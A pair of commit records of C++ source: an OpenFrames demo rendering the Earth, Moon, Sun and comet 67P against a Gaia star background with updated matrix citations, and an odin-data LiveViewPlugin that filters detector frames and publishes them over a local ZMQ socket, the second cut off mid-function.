myWindow->join(); \/\/ Wait for window animation to finish\n  \n  return 0;\n}\n<commit_msg>Updated sources for ESA's Galactic-to-J2000 matrix<commit_after>\/***********************************\n Copyright 2018 Ravishankar Mathur\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n ***********************************\/\n\n#include <OpenFrames\/Model.hpp>\n#include <OpenFrames\/Sphere.hpp>\n#include <OpenFrames\/WindowProxy.hpp>\n\nusing namespace OpenFrames;\n\nint main()\n{\n  const double r_earth = 6.371;\n  const double r_moon = 1.737;\n  const double r_sun = 695.7;\n  const double d_sun = 149600;\n  \n  \/\/ Create the interface that represents a window\n  osg::ref_ptr<WindowProxy> myWindow = new WindowProxy(30, 30, 640, 480, 1, 1, false, false);\n  \n  \/\/ Create a ReferenceFrame for the root\n  ReferenceFrame* root = new ReferenceFrame(\"Root\");\n  root->showAxes(ReferenceFrame::NO_AXES);\n  root->showAxesLabels(ReferenceFrame::NO_AXES);\n  root->showNameLabel(false);\n  \n  \/\/ Create a Sphere for the Earth\n  Sphere* earth = new Sphere(\"Earth\");\n  earth->showAxes(ReferenceFrame::NO_AXES);\n  earth->showAxesLabels(ReferenceFrame::NO_AXES);\n  earth->showNameLabel(false);\n  earth->setTextureMap(\"Images\/land_shallow_topo_2048.jpg\");\n  earth->setNightTextureMap(\"Images\/land_ocean_ice_lights_2048.jpg\");\n  earth->setRadius(r_earth);\n  earth->setAutoLOD(true);\n  root->addChild(earth);\n  \n  \/\/ Set Earth material, which overrides any color set for the Sphere\n  \/\/ Use diffuse but no ambient reflections (so dark side can show night texture)\n  osg::Material* mat = new osg::Material;\n  mat->setAmbient(osg::Material::FRONT_AND_BACK, osg::Vec4(0.0, 0.0, 0.0, 1.0));\n  mat->setDiffuse(osg::Material::FRONT_AND_BACK, osg::Vec4(1.0, 1.0, 1.0, 1.0));\n  mat->setSpecular(osg::Material::FRONT_AND_BACK, osg::Vec4(0.5, 0.5, 0.5, 1.0));\n  mat->setShininess(osg::Material::FRONT_AND_BACK, 100);\n  earth->setMaterial(mat);\n  \n  \/\/ Create a Sphere for the Moon\n  Sphere* moon = new Sphere(\"Moon\");\n  moon->showAxes(ReferenceFrame::NO_AXES);\n  moon->showAxesLabels(ReferenceFrame::NO_AXES);\n  moon->showNameLabel(false);\n  moon->setTextureMap(\"Images\/MoonTexture.bmp\");\n  moon->setRadius(r_moon);\n  moon->setPosition(10.0, -10.0, 0.0);\n  earth->addChild(moon);\n  \n  \/\/ Set Moon material\n  \/\/ Use diffuse but no ambient reflections (dark side of Moon will be black)\n  mat = new osg::Material;\n  mat->setAmbient(osg::Material::FRONT_AND_BACK, osg::Vec4(0.0, 0.0, 0.0, 1.0));\n  mat->setDiffuse(osg::Material::FRONT_AND_BACK, osg::Vec4(1.0, 1.0, 1.0, 1.0));\n  moon->setMaterial(mat);\n  \n  \/\/ Create a Sphere for the Sun\n  Sphere* sun = new Sphere(\"Sun\");\n  sun->showAxes(ReferenceFrame::NO_AXES);\n  sun->showAxesLabels(ReferenceFrame::NO_AXES);\n  sun->showNameLabel(false);\n  sun->setTextureMap(\"Images\/SunTexture.jpg\");\n  sun->setRadius(r_sun);\n  sun->setPosition(-d_sun, 0.0, 0.0);\n  root->addChild(sun);\n  \n  \/\/ Set Sun material\n  \/\/ Sun has emission but no reflection\n  mat = new osg::Material;\n  mat->setAmbient(osg::Material::FRONT_AND_BACK, osg::Vec4(0, 0, 0, 1));\n  mat->setDiffuse(osg::Material::FRONT_AND_BACK, osg::Vec4(0, 0, 0, 1));\n  mat->setSpecular(osg::Material::FRONT_AND_BACK, osg::Vec4(0, 0, 0, 1));\n  mat->setEmission(osg::Material::FRONT_AND_BACK, osg::Vec4(1, 1, 1, 1));\n  sun->setMaterial(mat);\n  \n  \/\/ Make the Sun a light source\n  \/\/ By default this will use GL_LIGHT0 which overrides the global light\n  \/\/ If using multiple lights, call light->setLightNum(num) with unique light numbers\n  sun->setLightSourceEnabled(true);\n  osg::Light* sunLight = sun->getLightSource()->getLight();\n  sunLight->setPosition(osg::Vec4(0.0, 0.0, 0.0, 1.0)); \/\/ At center of Sun\n  sunLight->setAmbient(osg::Vec4(0.4, 0.4, 0.4, 1.0));\n  sunLight->setDiffuse(osg::Vec4(2.0, 2.0, 2.0, 1.0)); \/\/ Bright sun!\n  sunLight->setSpecular(osg::Vec4(0.8, 0.8, 0.8, 1.0));\n  \n  \/\/ Create a Model for the Comet\n  Model* cg = new Model(\"67P_CG\");\n  cg->showAxes(ReferenceFrame::NO_AXES);\n  cg->showAxesLabels(ReferenceFrame::NO_AXES);\n  cg->showNameLabel(false);\n  cg->setModel(\"Models\/Comet67P_CG.3ds\");\n  cg->setPosition(100, 100, 100);\n  mat = new osg::Material;\n  mat->setAmbient(osg::Material::FRONT_AND_BACK, osg::Vec4(0.0, 0.0, 0.0, 1.0));\n  mat->setDiffuse(osg::Material::FRONT_AND_BACK, osg::Vec4(0.25, 0.25, 0.25, 1.0));\n  mat->setSpecular(osg::Material::FRONT_AND_BACK, osg::Vec4(0.1, 0.1, 0.2, 1.0));\n  mat->setShininess(osg::Material::FRONT_AND_BACK, 100);\n  cg->getModel()->getOrCreateStateSet()->setAttributeAndModes(mat);\n  earth->addChild(cg);\n  \n  \/\/ Create a manager to handle access to the scene\n  FrameManager* fm = new FrameManager;\n  fm->setFrame(root);\n  \n  \/\/ Add the scene to the window\n  myWindow->setScene(fm, 0, 0);\n  \n  \/\/ Set up sky background using the Gaia DR2 galactic disk texture and HYGv3 star database\n  myWindow->getGridPosition(0, 0)->setBackgroundColor(0, 0, 0); \/\/ Black background\n  myWindow->getGridPosition(0, 0)->setSkySphereTexture(\"Images\/ESA_Gaia_DR2_2048.jpg\");\n  myWindow->getGridPosition(0, 0)->setSkySphereStarData(\"Stars\/Stars_HYGv3.txt\", -2.0, 6.0, 40000); \/\/ At most 40000 stars of magnitude range [-2.0, 6.0] from the HYGv3 database\n  \n  \/\/ The Gaia image is in Galactic coordinates, so transform it to J2000 Equatorial coordinates\n  \/\/ to match the HYGv3 coordinate system\n  \/\/ Matrix that transforms ICRS (J2000 Equatorial) to Galactic coordinates\n  \/\/ Source: Gaia Data Release 1 (DR1), Documentation Release 1.2, Section 3.1.7 (Eqn 3.11).\n  \/\/         https:\/\/gea.esac.esa.int\/archive\/documentation\/GDR1\/Data_processing\/chap_cu3ast\/sec_cu3ast_intro.html\n  \/\/ Source: Lui et al, \"Reconsidering the Galactic Coordinate System\", Astronomy & Astrophysics 526, A16, 2011.\n  \/\/         https:\/\/www.aanda.org\/articles\/aa\/pdf\/2011\/02\/aa14961-10.pdf (See equation for matrix N_Hip in Section 2.2)\n  osg::Matrixd eq_to_gal_mat(-0.0548755604162154, +0.4941094278755837, -0.8676661490190047, 0.0,\n                             -0.8734370902348850, -0.4448296299600112, -0.1980763734312015, 0.0,\n                             -0.4838350155487132, +0.7469822444972189, +0.4559837761750669, 0.0,\n                             0.0                , 0.0                , 0.0                , 1.0);\n  osg::Quat eq_to_gal = eq_to_gal_mat.getRotate();\n  \n  \/\/ Quaternion that transforms Galactic to J2000 Equatorial coordinates\n  osg::Quat gal_to_eq = eq_to_gal.inverse();\n\n  \/\/ Gaia image is offset by 180 degrees as compared to the OpenFrames::Sphere texture wrapping\n  \/\/ convention, so rotate it by 180 degrees before performing the Galatic->J2000 transformation\n  myWindow->getGridPosition(0, 0)->getSkySphere()->setSphereAttitude(osg::Quat(osg::PI, osg::Vec3d(0, 0, 1))*gal_to_eq);\n  \n  \/\/ Create views of the Earth and Moon\n  View *viewEarth = new View(root, earth);\n  View *viewMoon = new View(root, moon);\n  View *viewSun = new View(root, sun);\n  View *viewCG = new View(root, cg);\n  myWindow->getGridPosition(0, 0)->addView(viewEarth);\n  myWindow->getGridPosition(0, 0)->addView(viewMoon);\n  myWindow->getGridPosition(0, 0)->addView(viewSun);\n  myWindow->getGridPosition(0, 0)->addView(viewCG);\n  \n  myWindow->startThread(); \/\/ Start window animation\n  myWindow->join(); \/\/ Wait for window animation to finish\n  \n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * LiveImageViewPlugin.cpp\n *\n *  Created on: 6 Sept 2018\n *      Author: Adam Neaves - wbd45595\n *\/\n\n#include \"LiveViewPlugin.h\"\n#include \"version.h\"\n#include <boost\/algorithm\/string.hpp>\n\nnamespace FrameProcessor\n{\n\/* Default Config*\/\nconst int32_t     LiveViewPlugin::DEFAULT_FRAME_FREQ = 1;\nconst int32_t     LiveViewPlugin::DEFAULT_PER_SECOND = 0;\nconst std::string LiveViewPlugin::DEFAULT_IMAGE_VIEW_SOCKET_ADDR = \"tcp:\/\/127.0.0.1:5020\";\nconst std::string LiveViewPlugin::DEFAULT_DATASET_NAME = \"\";\nconst std::string LiveViewPlugin::DEFAULT_TAGGED_FILTER = \"\";\n\n\/* Config Names*\/\nconst std::string LiveViewPlugin::CONFIG_FRAME_FREQ =  \"frame_frequency\";\nconst std::string LiveViewPlugin::CONFIG_PER_SECOND =  \"per_second\";\nconst std::string LiveViewPlugin::CONFIG_SOCKET_ADDR = \"live_view_socket_addr\";\nconst std::string LiveViewPlugin::CONFIG_DATASET_NAME = \"dataset_name\";\nconst std::string LiveViewPlugin::CONFIG_TAGGED_FILTER_NAME = \"filter_tagged\";\n\n\/**\n * Constructor for this class. Sets up ZMQ pub socket and other default values for the config\n *\/\nLiveViewPlugin::LiveViewPlugin() :\n    publish_socket_(ZMQ_PUB)\n{\n  logger_ = Logger::getLogger(\"FW.LiveViewPlugin\");\n  logger_->setLevel(Level::getAll());\n  LOG4CXX_INFO(logger_, \"LiveViewPlugin version \" << this->get_version_long() << \" loaded\");\n\n\n  set_frame_freq_config(DEFAULT_FRAME_FREQ);\n  set_per_second_config(DEFAULT_PER_SECOND);\n  set_socket_addr_config(DEFAULT_IMAGE_VIEW_SOCKET_ADDR);\n  set_dataset_name_config(DEFAULT_DATASET_NAME);\n  set_tagged_filter_config(DEFAULT_TAGGED_FILTER);\n}\n\n\/**\n * Class Destructor. Closes the Publish socket\n *\/\nLiveViewPlugin::~LiveViewPlugin()\n{\n  LOG4CXX_TRACE(logger_, \"LiveViewPlugin destructor.\");\n  publish_socket_.close();\n}\n\n\/**\n * Process recieved frame. For the live view plugin, this means checking if certain conditions are true (time elapsed, frame number, dataset name)\n * and then, if the conditions mean sending the frame, creating a json header and copying the data to send to the publisher socket.\n * \n * \\param[in] frame - pointer to a frame object.\n *\/\nvoid LiveViewPlugin::process_frame(boost::shared_ptr<Frame> frame)\n{\n  \/** Static Frame Count will increment each time this method is called, basically as a count of how many frames have been processed by the plugin*\/\n  static uint32_t frame_count_;\n  LOG4CXX_TRACE(logger_, \"LiveViewPlugin Process Frame.\");\n\n  std::string frame_dataset = frame->get_dataset_name();\n  \/* If datasets is empty, or contains the frame's dataset, then we can potentially send it*\/\n  if (datasets_.empty() || std::find(datasets_.begin(), datasets_.end(), frame_dataset) != datasets_.end())\n  {\n    \/* If either filtering by tag is disabled, or the frame has the tagged param *\/\n    bool tag_filter_active = !tags_.empty();\n    bool is_tagged = false;\n    if (tag_filter_active)\n    {\n      for (int i = 0; i < tags_.size(); i++)\n      {\n        if (frame->has_parameter(tags_[i]))\n        {\n          is_tagged = true;\n          break;\n        }\n      }\n    }\n    if (!tag_filter_active || is_tagged)\n    {\n      boost::posix_time::ptime now = boost::posix_time::microsec_clock::local_time();\n      int32_t elapsed_time = (now - time_last_frame_).total_milliseconds();\n\n      if (per_second_ != 0 && elapsed_time > time_between_frames_) \/\/time between frames too large, showing frame no matter what the frame number is\n      {\n        LOG4CXX_TRACE(logger_, \"Elapsed time \" << elapsed_time << \" > \" << time_between_frames_);\n        pass_live_frame(frame);\n      }\n      else if (frame_freq_ != 0 && frame_count_ % frame_freq_ == 0)\n      {\n        LOG4CXX_TRACE(logger_, \"LiveViewPlugin Frame \" << frame->get_frame_number() << \" to be displayed.\");\n        pass_live_frame(frame);\n      }\n    }\n    else\n    {\n      LOG4CXX_TRACE(logger_, \"LiveViewPlugin No Tag(s) found, frame skipped.\");\n    }\n  }\n  else\n  {\n    LOG4CXX_TRACE(logger_,\"Frame dataset: \" << frame_dataset << \" not desired\");\n  }\n\n  LOG4CXX_TRACE(logger_, \"Pushing Data Frame\" );\n  \/\/push frame down the pipeline no matter if frame was passed to live viewer or not\n  frame_count_ ++;\n  this->push(frame);\n}\n\n\n\/**\n * Set configuration options for this Plugin.\n *\n * This sets up the Live View Plugin according to the configuration IpcMessage\n * objects that are received.\n *\n * \\param[in] config - IpcMessage containing configuration data.\n * \\param[out] reply - Response IpcMessage.\n *\/\nvoid LiveViewPlugin::configure(OdinData::IpcMessage& config, OdinData::IpcMessage& reply)\n{\n  try{\n    \/* Check if we're setting the frequency of frames to show*\/\n    if (config.has_param(CONFIG_FRAME_FREQ))\n    {\n      set_frame_freq_config(config.get_param<int32_t>(CONFIG_FRAME_FREQ));\n    }\n    \/* Check if we're setting the per_second config*\/\n    if (config.has_param(CONFIG_PER_SECOND))\n    {\n      set_per_second_config(config.get_param<int32_t>(CONFIG_PER_SECOND));\n    }\n    \/* Check if we are setting the dataset name filter*\/\n    if (config.has_param(CONFIG_DATASET_NAME))\n    {\n      set_dataset_name_config(config.get_param<std::string>(CONFIG_DATASET_NAME));\n    }\n    if (config.has_param(CONFIG_TAGGED_FILTER_NAME))\n    {\n      set_tagged_filter_config(config.get_param<std::string>(CONFIG_TAGGED_FILTER_NAME));\n    }\n    \/* Display warning if configuration sets the plugin to do nothing*\/\n    if (per_second_ == 0 && frame_freq_ == 0)\n    {\n      LOG4CXX_WARN(logger_, \"CURRENT LIVE VIEW CONFIGURATION RESULTS IN IT DOING NOTHING\");\n    }\n    \/* Check if we're setting the address of the socket to send the live view frames to.*\/\n    if (config.has_param(CONFIG_SOCKET_ADDR))\n    {\n      set_socket_addr_config(config.get_param<std::string>(CONFIG_SOCKET_ADDR));\n    }\n  }\n  catch (std::runtime_error& e)\n  {\n    std::stringstream ss;\n    ss << \"Bad ctrl msg: \" << e.what();\n    this->set_error(ss.str());\n    throw;\n  }\n}\n\n\/**\n * Get the configuration values for this Plugin.\n *\n * \\param[out] reply - Response IpcMessage.\n *\/\nvoid LiveViewPlugin::requestConfiguration(OdinData::IpcMessage& reply)\n{\n  reply.set_param(get_name() + \"\/\" + LiveViewPlugin::CONFIG_FRAME_FREQ, frame_freq_);\n  reply.set_param(get_name() + \"\/\" + LiveViewPlugin::CONFIG_SOCKET_ADDR, image_view_socket_addr_);\n  reply.set_param(get_name() + \"\/\" + LiveViewPlugin::CONFIG_PER_SECOND, per_second_);\n}\n\n\/**\n * Constructs a header with information about the data frame, then sends that header and the data\n * to the ZMQ socket interface to be consumed by an external live viewer.\n * The Header contains the following:\n * - int32_t Frame number\n * - string   Acquisition ID\n * - string   Data Type\n * - size_t   Data Size\n * - string   compression type\n * - size_t[] dimensions\n * \\param[in] frame - pointer to the data frame\n * \\param[in] frame_num - the number of the frame\n * \n *\/\nvoid LiveViewPlugin::pass_live_frame(boost::shared_ptr<Frame> frame)\n{\n  void* frame_data_copy = (void*)frame->get_data();\n\n  uint32_t frame_num = frame->get_frame_number();\n  std::string aqqID = frame->get_acquisition_id();\n  dimensions_t dim = frame->get_dimensions();\n  std::string type = get_type_from_enum((DataType)frame->get_data_type());\n  std::size_t size = frame->get_data_size();\n  std::string compress = get_compress_from_enum((CompressionType)frame->get_compression());\n  std::string dataset = frame->get_dataset_name();\n\n  rapidjson::Document document; \/* Header info*\/\n  document.SetObject();\n  LOG4CXX_TRACE(logger_, \"LiveViewPlugin Building Frame Header\");\n  \/\/building image header\n\n  add_json_member(&document, \"frame_num\", frame_num);\n  add_json_member(&document, \"acquisition_id\", aqqID);\n  add_json_member(&document, \"dtype\", type);\n  add_json_member(&document, \"dsize\", static_cast<uint64_t>(size));\n  add_json_member(&document, \"dataset\", dataset);\n  add_json_member(&document, \"compression\", compress);\n\n\n  \/\/getting tags manually because it is an array\n  rapidjson::Value keyTags(\"tags\", document.GetAllocator());\n  rapidjson::Value valueTags(rapidjson::kArrayType);\n  if (!tags_.empty())\n  {\n    for(int i = 0; i < tags_.size(); i++)\n    {\n      if (frame->has_parameter(tags_[i]))\n      {\n        rapidjson::Value tagStringVal(tags_[i].c_str(), document.GetAllocator());\n        valueTags.PushBack(tagStringVal, document.GetAllocator());\n      }\n    }\n    document.AddMember(keyTags, valueTags, document.GetAllocator());\n  }\n\n  \/\/getting dimensions manually because its an array\n  rapidjson::Value keyDims(\"shape\", document.GetAllocator());\n  rapidjson::Value valueDims(rapidjson::kArrayType);\n\n  size_t dim_size = dim.size();\n  for(size_t i=0; i < dim_size; i++)\n  {\n    std::string dimString = boost::to_string(dim[i]);\n    rapidjson::Value dimStringVal(dimString.c_str(), document.GetAllocator());\n    valueDims.PushBack(dimStringVal, document.GetAllocator());\n  }\n\n  document.AddMember(keyDims, valueDims, document.GetAllocator());\n\n  \/\/convert to a json like string so that it can be passed along the socket as the image header\n  rapidjson::StringBuffer buffer;\n  buffer.Clear();\n  rapidjson::Writer<rapidjson::StringBuffer, rapidjson::UTF8<> > writer(buffer);\n\n  document.Accept(writer);\n\n  LOG4CXX_TRACE(logger_, \"LiveViewPlugin Header Built, sending down socket.\");\n  publish_socket_.send(buffer.GetString(), ZMQ_SNDMORE);\n  LOG4CXX_TRACE(logger_, \"LiveViewPlugin Sending frame raw data\");\n  publish_socket_.send(size, frame_data_copy, 0);\n\n  time_last_frame_ = boost::posix_time::microsec_clock::local_time();\n}\n\nvoid LiveViewPlugin::add_json_member(rapidjson::Document* document, std::string key, std::string value)\n{\n  rapidjson::Value rkey(key.c_str(), document->GetAllocator());\n  rapidjson::Value rvalue(value.c_str(), document->GetAllocator());\n  document->AddMember(rkey, rvalue, document->GetAllocator());\n}\n\nvoid LiveViewPlugin::add_json_member(rapidjson::Document* document, std::string key, uint32_t value)\n{\n  rapidjson::Value rkey(key.c_str(), document->GetAllocator());\n  rapidjson::Value rvalue(value);\n  document->AddMember(rkey, rvalue, document->GetAllocator());\n}\nint LiveViewPlugin::get_version_major()\n{\n  return ODIN_DATA_VERSION_MAJOR;\n}\n\nint LiveViewPlugin::get_version_minor()\n{\n  return ODIN_DATA_VERSION_MINOR;\n}\n\nint LiveViewPlugin::get_version_patch()\n{\n  return ODIN_DATA_VERSION_PATCH;\n}\n\nstd::string LiveViewPlugin::get_version_short()\n{\n  return ODIN_DATA_VERSION_STR_SHORT;\n}\n\nstd::string LiveViewPlugin::get_version_long()\n{\n  return ODIN_DATA_VERSION_STR;\n}\n\n\/**\n * Sets the config value \"per_second\" which tells the plugin the number of frames to show each second\n * Setting this value to 0 disables the \"frames per second\" checking\n * \\param[in] value - the value to assign to per_second\n *\/ \nvoid LiveViewPlugin::set_per_second_config(int32_t value)\n{\n  per_second_ = value;\n\n  if (per_second_ == 0)\n  {\n    LOG4CXX_INFO(logger_, \"Disabling Frames Per Second Option\");\n  }\n  else\n  {\n    LOG4CXX_INFO(logger_, \"Displaying \" << per_second_ << \" frames per second\");\n    time_between_frames_ = 1000 \/ per_second_;\n  }\n}\n\/**\n * Sets the Frame Frequency config value. This value tells the plugin to show every Nth frame.\n * Setting this value to 0 disables this check\n * \\param[in] value - the value to assign to frame_freq\n *\/ \nvoid LiveViewPlugin::set_frame_freq_config(int32_t value)\n{\n  frame_freq_ = value;\n  if (frame_freq_ == 0)\n  {\n    LOG4CXX_INFO(logger_, \"Disabling Frame Frequency\");\n  }\n  else\n  {\n    LOG4CXX_INFO(logger_, \"Showing every \" << frame_freq_ << \" frame(s)\");\n  }\n}\n\/**\n * Sets the address of the publisher socket that live view data is sent to.\n * When setting this address, it also binds the socket to the address, unbinding it from any previous address given\n * \\param[in] value - the address to bind the socket to.\n *\/\nvoid LiveViewPlugin::set_socket_addr_config(std::string value)\n{\n  \/\/we dont want to unbind and rebind the same address, as it can cause an error if it takes time to unbind, so we check first\n  if (publish_socket_.has_bound_endpoint(value))\n  {\n    LOG4CXX_WARN(logger_, \"Socket already bound to \" << value << \". Doing nothing\");\n    return;\n  }\n  uint32_t linger = 0;\n  publish_socket_.setsockopt(ZMQ_LINGER, &linger, sizeof(linger));\n  publish_socket_.unbind(image_view_socket_addr_.c_str());\n\n  image_view_socket_addr_ = value;\n  LOG4CXX_INFO(logger_, \"Setting Live View Socket Address to \" << image_view_socket_addr_);\n  publish_socket_.bind(image_view_socket_addr_);\n}\n\n\/**\n * Sets the dataset filter configuration. The live view output can be filtered by the dataset variable on the frame based off a list\n * of desired datasets.\n * \\param[in] value - A comma deliminated list of dataset names, or an empty string to ignore this filtering.\n *\/\nvoid LiveViewPlugin::set_dataset_name_config(std::string value)\n{\n  std::string delim = \",\";\n  datasets_.clear();\n  if (!value.empty())\n  {\n    \/\/delim value string by comma\n    boost::split(datasets_, value, boost::is_any_of(delim));\n  }\n  std::string dataset_string = \"\";\n  for (int i = 0; i < datasets_.size(); i++)\n  {\n    boost::trim(datasets_[i]);\n    dataset_string += datasets_[i] + \",\";\n  }\n  LOG4CXX_INFO(logger_, \"Setting the datasets allowed to: \" << dataset_string);\n}\n\nvoid LiveViewPlugin::set_tagged_filter_config(std::string value)\n{\n  std::string delim = \",\";\n  tags_.clear();\n  if (!value.empty())\n  {\n    boost::split(tags_, value, boost::is_any_of(delim));\n  }\n  std::string tags_string = \"\";\n  for (int i = 0; i < tags_.size(); i++)\n  {\n    boost::trim(tags_[i]);\n    tags_string += tags_[i] + \", \";\n  }\n  LOG4CXX_INFO(logger_, \"Only Displaying images with the following tags: \" << tags_string);\n}\n\n}\/*namespace FrameProcessor*\/\n\n\n\n<commit_msg>Moved the frame count incrementation so it only counts frames that match the desired dataset<commit_after>\/*\n * LiveImageViewPlugin.cpp\n *\n *  Created on: 6 Sept 2018\n *      Author: Adam Neaves - wbd45595\n *\/\n\n#include \"LiveViewPlugin.h\"\n#include \"version.h\"\n#include <boost\/algorithm\/string.hpp>\n\nnamespace FrameProcessor\n{\n\/* Default Config*\/\nconst int32_t     LiveViewPlugin::DEFAULT_FRAME_FREQ = 1;\nconst int32_t     LiveViewPlugin::DEFAULT_PER_SECOND = 0;\nconst std::string LiveViewPlugin::DEFAULT_IMAGE_VIEW_SOCKET_ADDR = \"tcp:\/\/127.0.0.1:5020\";\nconst std::string LiveViewPlugin::DEFAULT_DATASET_NAME = \"\";\nconst std::string LiveViewPlugin::DEFAULT_TAGGED_FILTER = \"\";\n\n\/* Config Names*\/\nconst std::string LiveViewPlugin::CONFIG_FRAME_FREQ =  \"frame_frequency\";\nconst std::string LiveViewPlugin::CONFIG_PER_SECOND =  \"per_second\";\nconst std::string LiveViewPlugin::CONFIG_SOCKET_ADDR = \"live_view_socket_addr\";\nconst std::string LiveViewPlugin::CONFIG_DATASET_NAME = \"dataset_name\";\nconst std::string LiveViewPlugin::CONFIG_TAGGED_FILTER_NAME = \"filter_tagged\";\n\n\/**\n * Constructor for this class. Sets up ZMQ pub socket and other default values for the config\n *\/\nLiveViewPlugin::LiveViewPlugin() :\n    publish_socket_(ZMQ_PUB)\n{\n  logger_ = Logger::getLogger(\"FW.LiveViewPlugin\");\n  logger_->setLevel(Level::getAll());\n  LOG4CXX_INFO(logger_, \"LiveViewPlugin version \" << this->get_version_long() << \" loaded\");\n\n\n  set_frame_freq_config(DEFAULT_FRAME_FREQ);\n  set_per_second_config(DEFAULT_PER_SECOND);\n  set_socket_addr_config(DEFAULT_IMAGE_VIEW_SOCKET_ADDR);\n  set_dataset_name_config(DEFAULT_DATASET_NAME);\n  set_tagged_filter_config(DEFAULT_TAGGED_FILTER);\n}\n\n\/**\n * Class Destructor. Closes the Publish socket\n *\/\nLiveViewPlugin::~LiveViewPlugin()\n{\n  LOG4CXX_TRACE(logger_, \"LiveViewPlugin destructor.\");\n  publish_socket_.close();\n}\n\n\/**\n * Process recieved frame. For the live view plugin, this means checking if certain conditions are true (time elapsed, frame number, dataset name)\n * and then, if the conditions mean sending the frame, creating a json header and copying the data to send to the publisher socket.\n * \n * \\param[in] frame - pointer to a frame object.\n *\/\nvoid LiveViewPlugin::process_frame(boost::shared_ptr<Frame> frame)\n{\n  \/** Static Frame Count will increment each time this method is called, basically as a count of how many frames have been processed by the plugin*\/\n  static uint32_t frame_count_;\n  LOG4CXX_TRACE(logger_, \"LiveViewPlugin Process Frame.\");\n\n  std::string frame_dataset = frame->get_dataset_name();\n  \/* If datasets is empty, or contains the frame's dataset, then we can potentially send it*\/\n  if (datasets_.empty() || std::find(datasets_.begin(), datasets_.end(), frame_dataset) != datasets_.end())\n  {\n    \/* If either filtering by tag is disabled, or the frame has the tagged param *\/\n    bool tag_filter_active = !tags_.empty();\n    bool is_tagged = false;\n    if (tag_filter_active)\n    {\n      for (int i = 0; i < tags_.size(); i++)\n      {\n        if (frame->has_parameter(tags_[i]))\n        {\n          is_tagged = true;\n          break;\n        }\n      }\n    }\n    if (!tag_filter_active || is_tagged)\n    {\n      boost::posix_time::ptime now = boost::posix_time::microsec_clock::local_time();\n      int32_t elapsed_time = (now - time_last_frame_).total_milliseconds();\n\n      if (per_second_ != 0 && elapsed_time > time_between_frames_) \/\/time between frames too large, showing frame no matter what the frame number is\n      {\n        LOG4CXX_TRACE(logger_, \"Elapsed time \" << elapsed_time << \" > \" << time_between_frames_);\n        pass_live_frame(frame);\n      }\n      else if (frame_freq_ != 0 && frame_count_ % frame_freq_ == 0)\n      {\n        LOG4CXX_TRACE(logger_, \"LiveViewPlugin Frame \" << frame->get_frame_number() << \" to be displayed.\");\n        pass_live_frame(frame);\n      }\n    }\n    else\n    {\n      LOG4CXX_TRACE(logger_, \"LiveViewPlugin No Tag(s) found, frame skipped.\");\n    }\n    \/\/push frame down the pipeline no matter if frame was passed to live viewer or not\n    frame_count_ ++;\n  }\n  else\n  {\n    LOG4CXX_TRACE(logger_,\"Frame dataset: \" << frame_dataset << \" not desired\");\n  }\n\n  LOG4CXX_TRACE(logger_, \"Pushing Data Frame\" );\n  this->push(frame);\n}\n\n\n\/**\n * Set configuration options for this Plugin.\n *\n * This sets up the Live View Plugin according to the configuration IpcMessage\n * objects that are received.\n *\n * \\param[in] config - IpcMessage containing configuration data.\n * \\param[out] reply - Response IpcMessage.\n *\/\nvoid LiveViewPlugin::configure(OdinData::IpcMessage& config, OdinData::IpcMessage& reply)\n{\n  try{\n    \/* Check if we're setting the frequency of frames to show*\/\n    if (config.has_param(CONFIG_FRAME_FREQ))\n    {\n      set_frame_freq_config(config.get_param<int32_t>(CONFIG_FRAME_FREQ));\n    }\n    \/* Check if we're setting the per_second config*\/\n    if (config.has_param(CONFIG_PER_SECOND))\n    {\n      set_per_second_config(config.get_param<int32_t>(CONFIG_PER_SECOND));\n    }\n    \/* Check if we are setting the dataset name filter*\/\n    if (config.has_param(CONFIG_DATASET_NAME))\n    {\n      set_dataset_name_config(config.get_param<std::string>(CONFIG_DATASET_NAME));\n    }\n    if (config.has_param(CONFIG_TAGGED_FILTER_NAME))\n    {\n      set_tagged_filter_config(config.get_param<std::string>(CONFIG_TAGGED_FILTER_NAME));\n    }\n    \/* Display warning if configuration sets the plugin to do nothing*\/\n    if (per_second_ == 0 && frame_freq_ == 0)\n    {\n      LOG4CXX_WARN(logger_, \"CURRENT LIVE VIEW CONFIGURATION RESULTS IN IT DOING NOTHING\");\n    }\n    \/* Check if we're setting the address of the socket to send the live view frames to.*\/\n    if (config.has_param(CONFIG_SOCKET_ADDR))\n    {\n      set_socket_addr_config(config.get_param<std::string>(CONFIG_SOCKET_ADDR));\n    }\n  }\n  catch (std::runtime_error& e)\n  {\n    std::stringstream ss;\n    ss << \"Bad ctrl msg: \" << e.what();\n    this->set_error(ss.str());\n    throw;\n  }\n}\n\n\/**\n * Get the configuration values for this Plugin.\n *\n * \\param[out] reply - Response IpcMessage.\n *\/\nvoid LiveViewPlugin::requestConfiguration(OdinData::IpcMessage& reply)\n{\n  reply.set_param(get_name() + \"\/\" + LiveViewPlugin::CONFIG_FRAME_FREQ, frame_freq_);\n  reply.set_param(get_name() + \"\/\" + LiveViewPlugin::CONFIG_SOCKET_ADDR, image_view_socket_addr_);\n  reply.set_param(get_name() + \"\/\" + LiveViewPlugin::CONFIG_PER_SECOND, per_second_);\n}\n\n\/**\n * Constructs a header with information about the data frame, then sends that header and the data\n * to the ZMQ socket interface to be consumed by an external live viewer.\n * The Header contains the following:\n * - int32_t Frame number\n * - string   Acquisition ID\n * - string   Data Type\n * - size_t   Data Size\n * - string   compression type\n * - size_t[] dimensions\n * \\param[in] frame - pointer to the data frame\n * \\param[in] frame_num - the number of the frame\n * \n *\/\nvoid LiveViewPlugin::pass_live_frame(boost::shared_ptr<Frame> frame)\n{\n  void* frame_data_copy = (void*)frame->get_data();\n\n  uint32_t frame_num = frame->get_frame_number();\n  std::string aqqID = frame->get_acquisition_id();\n  dimensions_t dim = frame->get_dimensions();\n  std::string type = get_type_from_enum((DataType)frame->get_data_type());\n  std::size_t size = frame->get_data_size();\n  std::string compress = get_compress_from_enum((CompressionType)frame->get_compression());\n  std::string dataset = frame->get_dataset_name();\n\n  rapidjson::Document document; \/* Header info*\/\n  document.SetObject();\n  LOG4CXX_TRACE(logger_, \"LiveViewPlugin Building Frame Header\");\n  \/\/building image header\n\n  add_json_member(&document, \"frame_num\", frame_num);\n  add_json_member(&document, \"acquisition_id\", 